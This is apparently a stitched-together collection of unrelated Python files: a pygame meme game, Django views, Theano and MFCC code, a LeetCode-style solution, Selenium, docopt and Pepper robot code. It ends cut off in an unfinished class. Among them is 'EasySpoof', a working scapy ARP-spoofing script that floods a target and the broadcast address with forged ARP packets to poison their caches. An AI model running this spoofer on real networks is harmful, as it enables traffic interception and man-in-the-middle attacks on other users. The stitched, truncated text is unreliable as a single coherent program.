#This incredible, rarted game was programmed by the one and only, Boyd Kirkman.
#Feel free to update/add to the game!

import sys
import random
import math
import pygame
import pygame.locals
from time import sleep

width = 1280
height = 720

pygame.init()

#~~~~~~~~~~~~~~~~~~~~~~~~~~Loading in Sounds/Music~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

global triple
global damnson
global gotcha
global boomheadshot
global screech
global sounds
global MKMLG
triple = pygame.mixer.Sound("triple.wav")
damnson = pygame.mixer.Sound("damnson.wav")
gotcha = pygame.mixer.Sound("gotcha.wav")
boomheadshot = pygame.mixer.Sound("boomheadshot.wav")
screech = pygame.mixer.Sound("screech.wav")
sounds = [triple, damnson, boomheadshot]
MKMLG = pygame.mixer.music.load("MKMLG.mp3")

#~~~~~~~~~~~~~~~~~~~~~~~~~~~NO LEAVING MECHANIC~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

def No_Leaving():

    otherdoge = pygame.image.load('No.png')
    R = otherdoge.get_rect()
    X = width/2 - R.center[0] + 20
    if pygame.QUIT in [e.type for e in pygame.event.get()]:
            screen = pygame.display.set_mode((width,height))
            font = pygame.font.SysFont("freeserif", 72, bold = 1)
            textSurface = font.render("Don't Leave!", 1,
                                      pygame.Color(255,4,4))
            screen.blit(textSurface,(width/2-R.center[0], height/2-R.center[1]))
            while True:
                #Angry Doge:
                screen.blit(otherdoge, (X, height/2 - R.center[1]))
                pygame.display.update()
                if pygame.QUIT in [e.type for e in pygame.event.get()]:
                    break

#~~~~~~~~~~~~~~~~~~~~~~~~~Setting up the Doge Sprite~~~~~~~~~~~~~~~~~~~~~~~~~~~~

class Doge(pygame.sprite.Sprite):

    def __init__(self):
        pygame.sprite.Sprite.__init__(self)

        #the skin variable is what determines how the doge looks (what image gets loaded)
        global skin
        skin = "run1.png"
        self.image = pygame.image.load(skin).convert_alpha()
        self.rect = self.image.get_rect()

        #Orientation
        global Orient
        Orient = 0

        #Trying to animate a gif
        global blip
        blip = 0
        global image_changing_score
        image_changing_score = 0

    def update(self):

        #trying to animate a gif + Dealing with orientation
        global Orient
        global blip
        blip += 1
        global image_changing_score
        if blip == 5:
            image_changing_score += 1
            blip = 0
        if image_changing_score % 2 == 0 and Orient == 0:
            skin = "moving?.png"
        if image_changing_score % 2 == 0 and Orient == 1:
            skin = "flippedmoving?.png"
        if image_changing_score % 2 != 0 and Orient == 0:
            skin = "run1.png"
        if image_changing_score % 2 != 0 and Orient == 1:
            skin = "flippedrun1.png"
        self.image = pygame.image.load(skin).convert_alpha()

        #Exiting via a mouse click on the doge
        x,y = pygame.mouse.get_pos()
        if x >= self.rect.x and x <= self.rect.x + 139:
            Mouse_Location_X = True
        if x < self.rect.x or x > self.rect.x + 139:
            Mouse_Location_X = False
        if y >= self.rect.y and y <= self.rect.y + 92:
            Mouse_Location_Y = True
        if y < self.rect.y or y > self.rect.y + 92:
            Mouse_Location_Y = False
        if pygame.mouse.get_pressed()[0] and Mouse_Location_X == True and Mouse_Location_Y == True:
            pygame.quit()

        #No flying
        if self.rect.y < 340:
            self.rect.y += 20

        #Moving
        if pygame.key.get_pressed()[pygame.K_RIGHT] and self.rect.x < 1170:
            if score == 0:
                self.rect.x += 10
            if score != 0 and score <= 4:
                self.rect.x += score*10
            if score > 4:
                self.rect.x += 60
            Orient = 0
        if pygame.key.get_pressed()[pygame.K_LEFT] and self.rect.x > 0:
            if score == 0:
                self.rect.x -= 10
            if score != 0 and score <= 4:
                self.rect.x -= score*10
            if score > 4:
                self.rect.x -= 60
            Orient = 1
        if pygame.key.get_pressed()[pygame.K_UP] and self.rect.y > 340:
            if score == 0:
                self.rect.y -= 10
            if score != 0 and score <= 4:
                self.rect.y -= score*10
            if score > 4:
                self.rect.y -= 60
        if pygame.key.get_pressed()[pygame.K_DOWN] and self.rect.y < 640:
            if score == 0:
                self.rect.y += 10
            if score != 0 and score <= 4:
                self.rect.y += score*10
            if score > 4:
                self.rect.y += 60

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Doritos~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

class Doritos(pygame.sprite.Sprite):
    def __init__(self):
        pygame.sprite.Sprite.__init__(self)
        self.image = pygame.image.load("Doritos.png").convert_alpha()
        self.rect = self.image.get_rect()

    def it_be_spawning(self):
        self.rect.x = random.randrange(1,1170)
        self.rect.y = random.randrange(340,640)

    def oh_no_it_be_eaten(self):
        global score
        if pygame.sprite.collide_mask(doge, doritos):
            pygame.mixer.Sound.play(random.choice(sounds))
            self.rect.x = random.randrange(1,1170)
            self.rect.y = random.randrange(340,640)
            score += 1

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~MLG Elmo~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

class MLG_Elmo(pygame.sprite.Sprite):
    def __init__(self):
        pygame.sprite.Sprite.__init__(self)
        self.image = pygame.image.load("Elmo_a_coma_for_ya.png").convert_alpha()
        self.rect = self.image.get_rect()

    def did_elmo_get_ya(self):
        if self.rect.x > doge.rect.x:
            self.rect.x += -1*score
        if self.rect.x < doge.rect.x:
            self.rect.x += 1*score
        if self.rect.y > doge.rect.y:
            self.rect.y += -1*score
        if self.rect.y < doge.rect.y:
            self.rect.y += 1*score
        if pygame.sprite.collide_mask(self, doge):
            game_over()

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~The Sun~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

class sun(pygame.sprite.Sprite):
    def __init__(self):
        self.image = pygame.image.load("Sun.png").convert_alpha()
        self.rect = self.image.get_rect()

    def the_sun_turns(self):
        if self.rect.x > doge.rect.x:
            self.rect.x += -3
        if self.rect.x < doge.rect.x:
            self.rect.x += 3
        if self.rect.y > doge.rect.y:
            self.rect.y += -3
        if self.rect.y < doge.rect.y:
            self.rect.y += 3
        if pygame.sprite.collide_mask(self, doge):
            game_over()

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Restart Button~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

class revive_button(pygame.sprite.Sprite):
    def __init__(self):
        self.image = pygame.image.load("revive_button_untouched.png").convert_alpha()
        self.rect = self.image.get_rect()

    def sensing_click(self):
        x,y = pygame.mouse.get_pos()
        if x >= width/2-50 and x <= width/2+50:
            Mouse_Location_X = True
        if x < width/2-50 or x > width/2+50:
            Mouse_Location_X = False
        if y >= 570 and y <= 620:
            Mouse_Location_Y = True
        if y < 570 or y > 620:
            Mouse_Location_Y = False

        #button functions
        if pygame.mouse.get_pressed()[0] and Mouse_Location_X == True and Mouse_Location_Y == True:
            Level_1()
        if Mouse_Location_X == True and Mouse_Location_Y == True:
            self.image = pygame.image.load("revive_button_touched.png").convert_alpha()
        else:
            self.image = pygame.image.load("revive_button_untouched.png").convert_alpha()

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Title Screen~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

def GameIntro():
    pygame.mixer.music.play(-1)
    intro_doge = pygame.image.load('doge.jpg')
    r = intro_doge.get_rect()
    direction = 2
    X = width/2 - r.center[0]

    window = pygame.display.set_mode((width,height))
    pygame.display.set_caption("MUCH WOW")

    intro_happening = True
    while intro_happening:
        window.blit(pygame.image.load('background.jpg'),(0,0))

        #DOGE
        window.blit(intro_doge, (X, -100))

        #Moving Doge
        X += direction
        if X >= width - r.width or X <= 0:
            direction *= -1

        #Title
        ffont = pygame.font.SysFont("freeserif", 190, bold = 1)
        ttextSurface = ffont.render("MUCH WOW", 1, pygame.Color(255,255,255))
        tt = ttextSurface.get_rect()
        window.blit(ttextSurface, (width/2 - tt.width/2 + 10, height/15))
        pygame.display.update()

        #Buttons
        def W_button():
            Font = pygame.font.SysFont("freesansbold", 100, bold = 1)
            TextSurface = Font.render("PLAY", 1, pygame.Color(255,255,255))
            T = TextSurface.get_rect()
            window.blit(TextSurface, (width/2 - T.width/2, height/2 - T.height/2))
            pygame.display.update()
        def B_button():
            Font = pygame.font.SysFont("freesansbold", 100, bold = 1)
            TextSurface = Font.render("PLAY", 1, pygame.Color(0,0,0))
            T = TextSurface.get_rect()
            window.blit(TextSurface, (width/2 - T.width/2, height/2 - T.height/2))
            pygame.display.update()

        #Mouse Location
        x,y = pygame.mouse.get_pos()
        if x >= width/2-50 and x <= width/2+50:
            Mouse_Location_X = True
        if x < width/2-50 or x > width/2+50:
            Mouse_Location_X = False
        if y >= height/2-30 and y <= height/2+30:
            Mouse_Location_Y = True
        if y < height/2-30 or y > height/2+30:
            Mouse_Location_Y = False

        #button functions
        if pygame.mouse.get_pressed()[0] and Mouse_Location_X == True and Mouse_Location_Y == True:
            Level_1()

        elif Mouse_Location_X == True and Mouse_Location_Y == True:
            B_button()

        else:
            W_button()

        No_Leaving()
        pygame.display.update()

#~~~~~~~~~~~~~~~~~~Level 1 (I'll add more later, hopefully...)~~~~~~~~~~~~~~~~~~

def Level_1():
    intro_happening = False
    global score
    score = 0
    Level1 = pygame.display.set_mode((width,height))

    #Set Doge location
    global doge
    doge = Doge()
    doge.rect.x = width/2-doge.rect.center[0]
    doge.rect.y = height/2-doge.rect.center[1]

    #Spawn Doritos
    global doritos
    doritos = Doritos()
    doritos.it_be_spawning()

    #Spawning in the Sun
    global sun_lol
    sun_lol = sun()
    sun_lol.rect.x = 1080
    sun_lol.rect.y = 100

    #Elmo's on his way!
    global elmo
    elmo = MLG_Elmo()
    elmo.rect.x = 50
    elmo.rect.y = 50

    #this is jsut a variable so that elmo screeches on entry
    random_var = 0

    global game_in_play
    game_in_play = True
    while game_in_play:

        #Background
        Level1.blit(pygame.image.load('Background_lol.jpg').convert(),(0,0))

        #keeping score
        font = pygame.font.SysFont("freeserif", 72, bold = 1)
        textSurface = font.render(str(score), 1,
                                  pygame.Color(0,0,0))
        Level1.blit(textSurface,(50, 50))

        #Create Doge Sprite
        doge.update()
        Level1.blit(doge.image, doge.rect)

        #Spawn the Doritos
        doritos.oh_no_it_be_eaten()
        Level1.blit(doritos.image, doritos.rect)

        #The Sun
        if score >= 10:
            sun_lol.the_sun_turns()
        Level1.blit(sun_lol.image, sun_lol.rect)

        #The Triggering of MLG Elmo
        elmo.did_elmo_get_ya()
        if score >= 1:
            if random_var == 0:
                pygame.mixer.Sound.play(screech)
                random_var = 1
            Level1.blit(elmo.image, elmo.rect)

        #No leaving Mechanic
        No_Leaving()

        #Update screen
        pygame.display.update()

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Game Over~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

def game_over():
    pygame.mixer.Sound.stop(triple)
    pygame.mixer.Sound.stop(boomheadshot)
    pygame.mixer.Sound.stop(screech)
    pygame.mixer.Sound.stop(damnson)
    pygame.mixer.Sound.play(gotcha)
    global game_in_play
    game_in_play = False

    #The Revive Button
    button = revive_button()
    button.rect.x = width/2-50
    button.rect.y = 570
    while True:
        No_Leaving()
        window2 = pygame.display.set_mode((width,height))

        #picture of dead doge
        dd = pygame.image.load("dead_doge.png").convert_alpha()
        dd_dimensions = dd.get_rect()
        window2.blit(dd, (width/2 - dd_dimensions.height/2, height/2 - dd_dimensions.height/2))

        #The game over message
        Font = pygame.font.SysFont("freesansbold", 100, bold = 1)
        number_of_stolen_doritos = str(score)
        TextSurface = Font.render(f"You stole {number_of_stolen_doritos} doritos!", 1, pygame.Color(255,255,255))
        T = TextSurface.get_rect()
        window2.blit(TextSurface, (width/2 - T.width/2, 50))

        #The game over message cont.
        lelFont = pygame.font.SysFont("freesansbold", 50, bold = 1)
        lelTextSurface = lelFont.render("But died...", 1, pygame.Color(255,25,25))
        lelT = lelTextSurface.get_rect()
        window2.blit(lelTextSurface, (width/2 - lelT.width/2, 150))

        #The revive Button
        button.sensing_click()
        window2.blit(button.image, button.rect)

        #updating the window
        pygame.display.update()

while __name__ == '__main__':
    GameIntro()


#ARP spoof wheel tool

from scapy.all import *
from scapy.layers.l2 import *
import sys
import time

def run():
    global ip
    global bcast
    global sip
    ip = sys.argv[1]
    bcast = sys.argv[2]
    sip = sys.argv[3]
    if (ip and bcast):
        return
    else:
        print ('EasySpoof 1.0')
        print ('This version is no longer update!')
        print ('Usage:easyspoof Targetip Broadcast Localip')
        print ('[!]Invaild Parameter!')

def getmac(ip):
    print ('[*]Getting hwaddr of %s' % ip)
    resp,ans = srp(Ether(dst = 'ff:ff:ff:ff:ff:ff')/ARP(pdst = ip),timeout = 3,retry = 5)
    for s,r in resp:
        return r[Ether].src
    return  None

def init(ip,bcast,sip):
    global packet,bpacket
    try:
        print ('[*]Init ip...')
        packet = Ether(src=getmac(sip),dst = getmac(ip))/ARP(getmac(sip),hwdst = getmac(ip),pdst = ip , op = 1)
        bpacket = Ether(src=getmac(sip),dst = getmac(bcast))/ARP(getmac(sip),ip,hwdst = getmac(bcast),pdst = bcast ,op=1)
        return (packet,bpacket)
    except:
        print ('[!]Init Error!')
def main():
    while True:
        sendp(packet,inter=1,iface='eth0')
        sendp(bpacket,inter=1,iface='eth0')
        time.sleep(2)

if __name__ == '__main__':
    run()
    init(ip=ip,bcast=bcast,sip=sip)
    main()


#!/usr/bin/env python
#-*- coding:utf-8 -*-

import urllib2
from django.shortcuts import render_to_response
from django.template import RequestContext
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.auth.decorators import login_required
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from data.dao.douban_dao import getBook, getBookRecommend, getBookReviews,\
                                getUserBooks, getReview
from data.BeautifulSoup import BeautifulSoup
from stage.signal import like_signal, unlike_signal
from stage.feed import addLikeMsg
from book.dao import getLikeNumOfBook
from models import Like

import logging
logger = logging.getLogger('django')

def view_book(request, bid=''):
    if not bid:
        return HttpResponseRedirect("/")
    book = getBook(bid)
    if book:
        book.image_link = book.image_link.replace('spic', 'lpic')
        reviews = getBookReviews(bid)

        return render_to_response('book/book.html',
        {'book': book, 'reviews': reviews},
        context_instance=RequestContext(request))
    else:
        error_message = "Sorry, Can't get this book..."
        return render_to_response('error.html', {'error':error_message,
                'redirect_url':'/book/ubook/'},
                context_instance=RequestContext(request))

def view_review(request, rid=''):
    if not rid:
        return HttpResponseRedirect("/")
    review = getReview(rid)
    if review:
        if not review.content:
            req = urllib2.urlopen(review.link)
            soup = BeautifulSoup(req.read())
            content = soup.findAll(property="v:description")
            if content:
                html = ''.join([str(item) for item in content[0].contents]).decode('utf-8')
                review.content = html
                review.save()
        review.content = review.content.split('<br />')
        return render_to_response('book/review.html',
        {'review': review},
        context_instance=RequestContext(request))
    else:
        error_message = "Sorry, Can't get this book review..."
        return render_to_response('error.html', {'error':error_message,
                'redirect_url':'/book/ubook/'},
                context_instance=RequestContext(request))

@login_required
def ubook(request):
    profile = request.user.get_profile()
    uid = profile.did
    bids = getBookRecommend(uid)
    paginator = Paginator(bids , 15)
    page = request.GET.get('page')

    try:
        bids_page = paginator.page(page)
    except PageNotAnInteger:
        # 如果页码不是整数，返回第一页.
        bids_page = paginator.page(1)
    except EmptyPage:
        # 如果页码不在范围内，返回最后一页
        bids_page = paginator.page(paginator.num_pages)

    books = []
    for bid in bids_page:
        book = getBook(bid)
        if book:
            book.image_link = book.image_link.replace('spic', 'lpic')
            book.like_num = getLikeNumOfBook(bid)
            books.append(book)

    return render_to_response('book/ubook.html',
            {'books':books, 'page':bids_page},
            context_instance=RequestContext(request))

@login_required
def ureview(request):
    return render_to_response('book/ureview.html', {},
            context_instance=RequestContext(request))

@login_required
def mybook(request):
    """ 获取我收藏的书 """
    profile = request.user.get_profile()
    uid = profile.did
    reading_bids, wish_bids, readed_bids = getUserBooks(uid)

    reading = []
    wish = []
    readed = []
    for bid in reading_bids:
        book = getBook(bid)
        if book:
            book.image_link = book.image_link.replace('spic', 'lpic')
            book.like_num = getLikeNumOfBook(bid)
            reading.append(book)

    for bid in wish_bids:
        book = getBook(bid)
        if book:
            book.image_link = book.image_link.replace('spic', 'lpic')
            book.like_num = getLikeNumOfBook(bid)
            wish.append(book)

    for bid in readed_bids:
        book = getBook(bid)
        if book:
            book.image_link = book.image_link.replace('spic', 'lpic')
            book.like_num = getLikeNumOfBook(bid)
            readed.append(book)

    return render_to_response('book/mybook.html',
            {'reading': reading, 'wish': wish, 'readed': readed},
            context_instance=RequestContext(request))

@login_required
def myreview(request):
    return render_to_response('book/myreview.html', {},
           context_instance=RequestContext(request))

def like_action(request):
    """ 处理 like action """
    assert(request.method=='POST' and request.is_ajax()==True)
    bid = request.POST.get('id')
    try:
        query = Like.objects.filter(user=request.user, book=bid)
        if len(query):
            query.delete()
            unlike_signal.send(sender=request.user, target=bid, cat='book')
        else:
            record = Like(user=request.user, book=bid)
            record.save()
            like_signal.send(sender=request.user, target=bid, cat='book')
            addLikeMsg(request.user, bid, "likebook")
        return HttpResponse('success')
    except:
        return HttpResponse('fail')

def ignore_action(request):
    """ 处理 ignore action """
    assert(request.method=='POST' and request.is_ajax()==True)
    bid = request.POST.get('id')
    unlike_signal.send(sender=request.user, target=bid, cat='book')
    return HttpResponse('success')

@login_required
def action(request):
    act = request.POST.get('action')
    bid = request.POST.get('id')
    if not act or not bid:
        return HttpResponse('fail')
    if act.startswith('ignore'):
        return ignore_action(request)
    elif act.startswith('like'):
        return like_action(request)
    else:
        return HttpResponse('fail')


import numpy as np

import theano
import theano.tensor as T
from theano.tensor.nnet import conv
from theano.tensor.signal import downsample

def ReLU(x):
	return T.switch(x<0,0,x)

class ConvLayer(object):

	def __init__(self, rng, input,shape,filters,pool):
		'''
		>>>type rng: numpy.random.RandomState
		>>>para rng: initalize weight randomly
		>>>type input: T.dtensor4
		>>>para input: image
		>>>type shape: tuple or list of length 4
		>>>para shape: (batch size, num of input feature maps, image height, image width)
		>>>type filters: tuple or list of length 4
		>>>para filters: (num of filters, num of input feature maps, filter width, filter height)
		>>>type pool: tuple or list of length 2
		>>>para pool: pooling size
		'''

		assert filters[1]==shape[1]
		self.input=input
		self.shape=shape
		self.filters=filters
		self.pool=pool

		#num of input to each hidden unit
		inflow=np.prod(filters[1:])

		#num of gradients from the upper layer
		outflow=filters[0]*np.prod(filters[2:])/np.prod(pool)

		w_bound=np.sqrt(6./(inflow+outflow))

		self.w=theano.shared(
			np.asarray(
				rng.uniform(low=-w_bound,high=w_bound,size=filters),
				dtype=theano.config.floatX
				),
			borrow=True
			)

		#bias
		self.b=theano.shared(
			value=np.zeros((filters[0]),dtype=theano.config.floatX),
			borrow=True
			)

		#build up convolutional layer
		conv_out=conv.conv2d(
			input=input,
			filters=self.w,
			filter_shape=filters,
			image_shape=shape
			)

		#build up pooling layer
		pool_out=downsample.max_pool_2d(
			input=conv_out,
			ds=pool,
			ignore_border=True
			)

		self.output=ReLU(pool_out+self.b.dimshuffle('x',0,'x','x'))

		self.param=[self.w,self.b]

	def process(self,data,batchSize):
		'''
		>>>process newly input data
		>>>type data: T.tensor4
		>>>para data: newly input data
		>>>type batchSize: int
		>>>para batchSize: minibatch size
		'''
		shape=(batchSize,self.shape[1],self.shape[2],self.shape[3])

		conv_out=conv.conv2d(
			input=data,
			filters=self.w,
			filter_shape=self.filters,
			image_shape=shape
		)
		pool_out=downsample.max_pool_2d(
			input=conv_out,
			ds=self.pool,
			ignore_border=True
		)
		output=ReLU(pool_out+self.b.dimshuffle('x',0,'x','x'))
		return output

def dropoutFunc(rng,value,p):
	'''
	>>>dropout function
	>>>type rng: numpy.random.RandomState
	>>>para rng: random seed
	>>>type value: T.tensor4
	>>>para value: input value
	>>>type p: float
	>>>para p: dropout rate
	'''
	srng=T.shared_randomstreams.RandomStreams(rng.randint(254860))
	mask=srng.binomial(n=1,p=1-p,size=value.shape)
	return value*T.cast(mask,theano.config.floatX)

class DropoutConvLayer(ConvLayer):

	def __init__(self,rng,input,shape,filters,pool,dropoutRate=0.5):
		ConvLayer.__init__(self,rng,input,shape,filters,pool)
		self.dropoutRate=dropoutRate
		self.output=dropoutFunc(rng,self.output,dropoutRate)

	def process(self,data,batchSize):
		output=ConvLayer.process(self,data,batchSize)
		return output*(1-self.dropoutRate)


import librosa
import numpy as np
import math
import cmath

class MFCC_:

	partsDataAudio = []

	def __init__(self, countCoefficMFCC):
		self.countCoefficMFCC = countCoefficMFCC

	def SplitAudio(self, pathAudio, nameAudio):
		cadr_ms = 30
		overlapped_ms = 10

		dataAudio, sr = librosa.load(pathAudio + nameAudio)
		# self.lengthCadr = int((sr/1000) * cadr_ms)
		self.lengthCadr = 512
		overlapped = int((sr/1000) * overlapped_ms)
		step = self.lengthCadr - overlapped
		for i in range(0,len(dataAudio),step):
			partDataAudio = dataAudio[i:i+self.lengthCadr]
			if len(partDataAudio) == self.lengthCadr:
				self.partsDataAudio.append(partDataAudio)
		print(self.lengthCadr)
		self.windowHamming = np.hamming(self.lengthCadr)

	def FFT(self, x):
		"""A vectorized, non-recursive version of the Cooley-Tukey FFT"""
		x = np.asarray(x, dtype=float)
		N = x.shape[0]

		if np.log2(N) % 1 > 0:
			raise ValueError("size of x must be a power of 2")

		# N_min here is equivalent to the stopping condition above,
		# and should be a power of 2
		N_min = min(N, 32)

		# Perform an O[N^2] DFT on all length-N_min sub-problems at once
		n = np.arange(N_min)	#	= np.array([0..N_min])
		k = n[:, None]	#	transpose
		M = np.exp(-2j * np.pi * n * k / N_min)	#	32x32
		X = np.dot(M, x.reshape((N_min, -1)))	# X(32x16) = M(32x32) * x(32x16)

		# build-up each level of the recursive calculation all at once
		while X.shape[0] < N:	#	512 < 32 ...... 32 !< 32
			X_even = X[:, :int(X.shape[1] / 2)]	#	X_even()
			X_odd = X[:, int(X.shape[1] / 2):]
			factor = np.exp(-1j * np.pi * np.arange(X.shape[0]) / X.shape[0])[:, None]
			X = np.vstack([X_even + factor * X_odd, X_even - factor * X_odd])
		return X.ravel()

	def ToMel(self, f):
		return 1127.01048*math.log1p(1 + (f/700))

	def GetTriangleFilter(self, M, f, s, fLow, fHigh):
		m_f_low = self.ToMel(fLow)
		m_f_high = self.ToMel(fHigh)
		m_f = self.ToMel(f)

		m_s_begin = m_f_low + s * ((m_f_high - m_f_low)/(M + 1))
		m_s_end = m_f_low + (s + 2) * ((m_f_high - m_f_low)/(M + 1))
		m_s_center = (m_s_begin + m_s_end)/2

		if (m_f < m_s_begin or m_f >= m_s_end):
			return 0
		elif (m_f >= m_s_begin and m_f < m_s_center):
			return (m_f - m_s_begin)/(m_s_center - m_s_begin)
		elif (m_f >= m_s_center and m_f < m_s_end):
			return (m_s_end - m_f)/(m_s_end - m_s_center)

	def ComputeMFCC(self):
		countFilters = 24
		fLow = 300
		fHigh = 3000

		mfcc = []
		print(len(self.partsDataAudio))
		for i in range(0,len(self.partsDataAudio)):
			print(i)
			F_k = self.FFT(self.partsDataAudio[i])
			F_k_abs = abs(F_k)
			E = []
			for s in range(0,countFilters):
				summa = 0
				for k in range(0,len(F_k)):
					summa += F_k_abs**2*self.GetTriangleFilter(countFilters, F_k[k], s, fLow, fHigh)
				E_s = np.log1p(summa)
				E.append(E_s)
			mfcc_part = []
			for i in range(0,self.countCoefficMFCC):
				mfcc_i = 0
				for m in range(0,len(E)):
					mfcc_i += E[m]*np.cos(np.pi*i*(m+0.5)/len(E))
				mfcc_part.append(mfcc_i)
			mfcc.append(mfcc_part)
		return mfcc


from collections import Counter

class Solution:
    @staticmethod
    def contains(sub_s, t_counter):
        s_counter = Counter(sub_s)
        if len(s_counter.keys()) < len(t_counter.keys()):
            return False
        for key, count in t_counter.items():
            if s_counter.get(key) is None or s_counter.get(key) < count:
                return False
        return True

    def minWindow(self, s: str, t: str) -> str:
        t_counter = Counter(t)
        left = 0
        right = 1
        min_distance = len(s) + 1
        result = ''
        while right <= len(s):
            while right < len(s) and not self.contains(s[left:right], t_counter):
                right += 1
            while self.contains(s[left:right], t_counter):
                if right - left < min_distance:
                    min_distance = right - left
                    result = s[left:right]
                    if min_distance == len(t):
                        return result
                left += 1
            right += 1
        return result

if __name__ == '__main__':
    s = 'CBANC'
    t = 'ANC'

    result = Solution().minWindow(s=s, t=t)
    print(result)
    pass


from pyramid.config import Configurator

def main(global_config, **settings):
    """ This function returns a Pyramid WSGI application.
    """
    config = Configurator(settings=settings)
    config.add_static_view('static', 'static', cache_max_age=3600)
    config.add_route('home', '/')
    config.add_route('cube_info', '/info')
    config.add_route('view_slice', '/slice/{axis}*index')
    config.add_route('slice_image', '/image/{axis}/{index}')
    config.scan()
    return config.make_wsgi_app()


from helpers.base_component import BaseComponent
from selenium.webdriver.common.keys import Keys

def get_first_non_hidden_element(driver, selector):
        elems = driver.find_elements_by_css_selector(selector)
        ans = None
        for elem in elems:
            if(elem.is_displayed()):
                ans = elem
                break
        return ans

class ButtonEmoticons(BaseComponent):

    selectors = {
        'self': '.emoji_smile.fl_l',
        'some_emoticon': '.emoji_smile_cont.emoji_smile_shadow'
    }

    def click(self):
        get_first_non_hidden_element(self.driver, self.selectors['self']).click()

    def add_some_emoticon(self):
        self.click()
        get_first_non_hidden_element(self.driver, self.selectors['some_emoticon']).click()


from __future__ import print_function

import re
import sys
from inspect import getdoc

from docopt import DocoptExit, docopt

class NoSuchCommand(Exception):
    def __init__(self, command, supercommand):
        super(NoSuchCommand, self).__init__("No such command: %s" % command)

        self.command = command
        self.supercommand = supercommand

def docopt_full_help(docstring, *args, **kwargs):
    try:
        return docopt(docstring, *args, **kwargs)
    except DocoptExit:
        raise SystemExit(docstring)

class DocoptCommand(object):
    def docopt_options(self):
        return {'options_first': True}

    def sys_dispatch(self):
        self.dispatch(sys.argv[1:], None)

    def dispatch(self, argv, global_options):
        self.perform_command(*self.parse(argv, global_options))

    def perform_command(self, *args):
        raise NotImplementedError()

    def parse(self, argv, global_options):
        command_help = getdoc(self)
        options = docopt_full_help(getdoc(self), argv, **self.docopt_options())
        command = options['COMMAND']

        if command is None:
            raise SystemExit(command_help)

        handler = self.get_handler(command)
        docstring = getdoc(handler)

        if docstring is None:
            raise NoSuchCommand(command, self)

        command_options = docopt_full_help(
            docstring, options['ARGS'], options_first=True)
        return options, handler, command_options

    def get_handler(self, command):
        command = command.replace('-', '_')

        if not hasattr(self, command):
            raise NoSuchCommand(command, self)

        return getattr(self, command)

def parse_doc_section(name, source):
    pattern = re.compile('^([^\n]*' + name + '[^\n]*\n?(?:[ \t].*?(?:\n|$))*)',
                         re.IGNORECASE | re.MULTILINE)
    return [s.strip() for s in pattern.findall(source)]


from pepper.framework.backend.naoqi import NAOqiBackend
from pepper.framework import *
from pepper import config

from naoqi import ALProxy
from collections import deque

import numpy as np

import random
from time import time

class TrackApplication(AbstractApplication, TextToSpeechComponent, DisplayComponent, FaceDetectionComponent, ObjectDetectionComponent, SpeechRecognitionComponent, CameraComponent, MicrophoneComponent):

    TARGET = "Bram"

    def __init__(self, backend):
        super(TrackApplication, self).__init__(backend)
        self._last_person = time()

        self._video = ALProxy("ALVideoDevice", config.NAOQI_IP, config.NAOQI_PORT)
        self._motion = ALProxy("ALMotion", config.NAOQI_IP, config.NAOQI_PORT)
        self._motion.setStiffnesses("Head", 1.0)

        # Get Control over Robot Movement
        self._awareness = ALProxy("ALBasicAwareness", config.NAOQI_IP, config.NAOQI_PORT)
        self._awareness.setEngagementMode("FullyEngaged")
        self._awareness.setStimulusDetectionEnabled("People", False)
        self._awareness.setStimulusDetectionEnabled("Movement", False)
        self._awareness.setEnabled(True)

    def on_image(self, image):
        if time() - self._last_person > 3:
            self.random_look()

            self._last_person = time()
            self._awareness.setEnabled(True)

    def on_object(self, image, objects):
        people = [obj for obj in objects if obj.name == "person"]

        if people:

            self._last_person = time()
            self._awareness.setEnabled(False)

            x = np.average([p.bounds.x0 + p.bounds.width / 2 for p in people], weights=[p.bounds.area for p in people])
            y = np.average([p.bounds.y0 + p.bounds.height / 4 for p in people], weights=[p.bounds.area for p in people])
            self.look(x, y)

    def reset(self):
        self._motion.setAngles("HeadYaw", 0, 0.1)
        self._motion.setAngles("HeadPitch", 0, 0.1)

    def random_look(self, speed=0.05):
        self._motion.setAngles("HeadYaw", random.uniform(-2.0857, 2.0857), speed)
        self._motion.setAngles("HeadPitch", random.uniform(-0.7068, 0.6371), speed)

    def look(self, x, y, speed=1, speed_min=0.02, speed_max=0.3):
        phi, theta = self._video.getAngularPositionFromImagePosition(0, (x, y))

        speed_phi = max(1E-6, min(speed_max, speed * phi ** 2))
        speed_theta = max(1E-6, min(speed_max, speed * theta ** 2))

        if max(speed_phi, speed_theta) > speed_min:
            self._motion.changeAngles("HeadYaw", phi, speed_phi)
            self._motion.changeAngles("HeadPitch", theta, speed_theta)

if __name__ == '__main__':
    TrackApplication(NAOqiBackend()).run()


class IPWebsite(object):
    @staticmethod
    def get_client_ip(request):
        try:
            x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')
            if x_forwarded_for:
                ip = x_forwarded_for.split(',')[0]
            else:
                ip = request.META.get('REMOTE_ADDR')
            return ip
        except:
            return None

    @staticmethod
    def get_client_website(request):
        try:
            website = request.META.get('HTTP_HOST')
            return website
        except:
            return None

class SessionManagement(object):
    @staticmethod
    def get_request_session(request):
        return request.session[settings.SESSION_ITEMS_KEYS_PREFIX + 'u']

class Utilities(object):
    @staticmethod
    def contains_attrs(obj, attrs):
        not_found = []
        for attr in attrs:
            if not attr in obj:
                not_found.append(attr)
        return not_found if len(not_found) > 0 else None

    @staticmethod
    def get_attrs(obj, attrs, names):
        d = {}
        for idx, attr in enumerate(attrs):
            try:
                d[names[idx]] = reduce(getattr, attr.split('.'), obj)
            except AttributeError:
                d[names[idx]] = None
        return d


import numpy as np
import cv2
import math, time
from datalogger import DataLogger
import webcolors

class Droplet:
